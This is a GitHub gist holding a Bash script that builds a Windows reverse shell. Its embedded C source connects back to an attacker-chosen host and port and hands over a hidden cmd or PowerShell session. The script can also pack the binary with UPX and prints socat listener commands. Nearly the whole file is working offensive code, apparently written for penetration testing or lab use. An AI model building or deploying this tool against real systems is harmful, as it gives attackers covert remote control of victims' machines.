Last active
December 26, 2020 08:59
-
-
Save kazkansouh/3a9b3090dfae3e89e37202615b549b57 to your computer and use it in GitHub Desktop.
Bash script for building a windows reverse shell.
This file contains bidirectional Unicode text that may be interpreted or compiled differently than what appears below. To review, open the file in an editor that reveals hidden Unicode characters.
Learn more about bidirectional Unicode characters
#!/bin/bash | |
# This program is free software: you can redistribute it and/or modify | |
# it under the terms of the GNU General Public License as published by | |
# the Free Software Foundation, either version 3 of the License, or | |
# (at your option) any later version. | |
# | |
# This program is distributed in the hope that it will be useful, | |
# but WITHOUT ANY WARRANTY; without even the implied warranty of | |
# MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the | |
# GNU General Public License for more details. | |
# | |
# You should have received a copy of the GNU General Public License | |
# along with this program. If not, see <https://www.gnu.org/licenses/>. | |
# Copyright Karim Kanso, 2020. All rights reserved. Licenced under GPLv3 | |
function showhelp { | |
echo "usage: $(basename $0) {32|64} lhost lport [--enable-printouts] [--pack] [--wait] [--udp] [--powershell] [--console]" | |
exit 1 | |
} | |
if [[ "$#" -lt 3 || \ | |
( "$1" != "32" && "$1" != "64" ) || \ | |
! "$2" =~ ^[0-9]{1,3}(\.[0-9]{1,3}){3}$ || \ | |
! "$3" =~ ^[0-9]+$ | |
]] ; then | |
showhelp | |
fi | |
ARCH=$1 | |
shift | |
LHOST=$1 | |
shift | |
LPORT=$1 | |
shift | |
GUI=true | |
: ${COMMAND:="cmd"} | |
while (( "$#" )); do | |
case "$1" in | |
--enable-printouts) | |
ENABLEPRINTOUT=true | |
;; | |
--pack) | |
PACK=true | |
;; | |
--wait) | |
WAITFOREXIT=true | |
;; | |
--udp) | |
UDP=true | |
;; | |
--powershell) | |
COMMAND=powershell | |
;; | |
--console) | |
unset GUI | |
;; | |
*) | |
showhelp | |
;; | |
esac | |
shift | |
done | |
echo "[*] building rshell for ${LHOST}:${LPORT}" | |
GCC=x86_64-w64-mingw32-gcc | |
if test ${ARCH} = "32"; then | |
GCC=i686-w64-mingw32-gcc | |
echo "[!] 32 bit selected" | |
fi | |
ADDITIONAL= | |
if test "${ENABLEPRINTOUT}" = "true"; then | |
ADDITIONAL=-DENABLE_OUTPUT | |
echo "[*] debug printouts enabled in shell" | |
if "${GUI}" = "true"; then | |
echo "[!] disabling gui build" | |
unset GUI | |
fi | |
fi | |
if test "${WAITFOREXIT}" = "true"; then | |
ADDITIONAL="${ADDITIONAL} -DWAIT" | |
echo "[!] will wait for shell to exit" | |
if "${GUI}" = "true"; then | |
echo "[!] disabling gui build" | |
unset GUI | |
fi | |
fi | |
if test "${UDP}" = "true"; then | |
ADDITIONAL="${ADDITIONAL} -DUDP" | |
if test "$UDP" = "true" -a "$COMMAND" != "powershell"; then | |
echo -e "[!] running with \e[1mudp recommends powershell\e[0m" | |
else | |
echo "[!] enabling udp" | |
echo "[*] handler: socat -dd READLINE UDP4-LISTEN:${LPORT},ignoreeof" | |
fi | |
else | |
echo "[*] handler: socat -dd READLINE TCP4-LISTEN:${LPORT},reuseaddr" | |
fi | |
if "${GUI}" = "true"; then | |
ADDITIONAL="${ADDITIONAL} -mwindows" | |
fi | |
OUTPUT=rshell-${LHOST}-${LPORT}-x${ARCH}${UDP+-udp}.exe | |
${GCC} -Wl,-s -Wall -Wpedantic -x c - -lws2_32 \ | |
-o ${OUTPUT} \ | |
-DLHOST=${LHOST} \ | |
-DLPORT=${LPORT} \ | |
-DSHELL="${COMMAND}" \ | |
${ADDITIONAL} <<EOF | |
#include <winsock2.h> | |
#include <windows.h> | |
// based on https://h0mbre.github.io/Win32_Reverse_Shellcode/ | |
// | |
// compile with (add -DENABLE_OUTPUT to get print outs): | |
// x86_64-w64-mingw32-gcc -Wl,-s -Wall -Wpedantic shell.c -lws2_32 -o rshell.exe -DLHOST=192.168.119.164 -DLPORT=2999 -DSHELL=cmd | |
// i686-w64-mingw32-gcc -Wl,-s -Wall -Wpedantic shell.c -lws2_32 -o rshell.exe -DLHOST=192.168.119.164 -DLPORT=2999 -DSHELL=cmd | |
#define xstr(s) str(s) | |
#define str(s) #s | |
const char* c_pc_host = xstr(LHOST); | |
const int c_i_port = LPORT; | |
#if defined(ENABLE_OUTPUT) | |
#include <stdio.h> | |
#define PUTS(s) puts(s) | |
#define PRINTF(...) printf(__VA_ARGS__) | |
#else | |
#define PUTS(s) | |
#define PRINTF(...) | |
#endif | |
int main () { | |
WSADATA s_wsa; | |
PRINTF("[*] rshell to %s:%d\n", c_pc_host, c_i_port); | |
// Call WSAStartup() | |
if (WSAStartup(MAKEWORD(2,2), &s_wsa) != 0) { | |
PUTS("[-] WSAStartup failed."); | |
return 1; | |
} | |
// Call WSASocket() | |
#if defined(UDP) | |
PUTS("[*] UDP Mode"); | |
SOCKET s = WSASocketA(AF_INET, SOCK_DGRAM, IPPROTO_UDP, NULL, 0, 0); | |
#else | |
PUTS("[*] TCP Mode"); | |
SOCKET s = WSASocketA(AF_INET, SOCK_STREAM, IPPROTO_TCP, NULL, 0, 0); | |
#endif | |
if (s == INVALID_SOCKET) { | |
PUTS("[-] Invalid socket"); | |
return 1; | |
} | |
// Create sockaddr_in struct | |
struct sockaddr_in s_sa; | |
s_sa.sin_family = AF_INET; | |
s_sa.sin_addr.s_addr = inet_addr(c_pc_host); | |
s_sa.sin_port = htons(c_i_port); | |
// Call connect() | |
if (WSAConnect( | |
s, | |
(struct sockaddr*) &s_sa, | |
sizeof(s_sa), | |
NULL, | |
NULL, | |
NULL, | |
NULL) != 0) { | |
PUTS("[-] connect failed."); | |
PRINTF("%lu\n", GetLastError()); | |
return 1; | |
} | |
// Call CreateProcessA() | |
PUTS("[*] launching: " xstr(SHELL)); | |
STARTUPINFO s_si; | |
memset(&s_si, 0, sizeof(s_si)); | |
s_si.cb = sizeof(s_si); | |
s_si.dwFlags = STARTF_USESTDHANDLES | STARTF_USESHOWWINDOW; | |
s_si.hStdInput = (HANDLE)s; | |
s_si.hStdOutput = (HANDLE)s; | |
s_si.hStdError = (HANDLE)s; | |
s_si.wShowWindow = SW_HIDE; | |
PROCESS_INFORMATION s_pi; | |
if (CreateProcessA( | |
NULL, | |
xstr(SHELL), | |
NULL, | |
NULL, | |
TRUE, | |
0, | |
NULL, | |
NULL, | |
&s_si, | |
&s_pi) == 0) { | |
PRINTF("[-] CreateProcessA %lu\n", GetLastError()); | |
} | |
#if defined(WAIT) | |
else { | |
PUTS("[*] Waiting"); | |
WaitForSingleObject(s_pi.hProcess, INFINITE); | |
} | |
#endif | |
PUTS("[*] done"); | |
} | |
EOF | |
if test "$?" -eq 0 ; then | |
echo "[*] shell saved to ${OUTPUT}" | |
fi | |
if test "${PACK}" = "true"; then | |
upx -9 "${OUTPUT}" | |
fi |
Sign up for free
to join this conversation on GitHub.
Already have an account?
Sign in to comment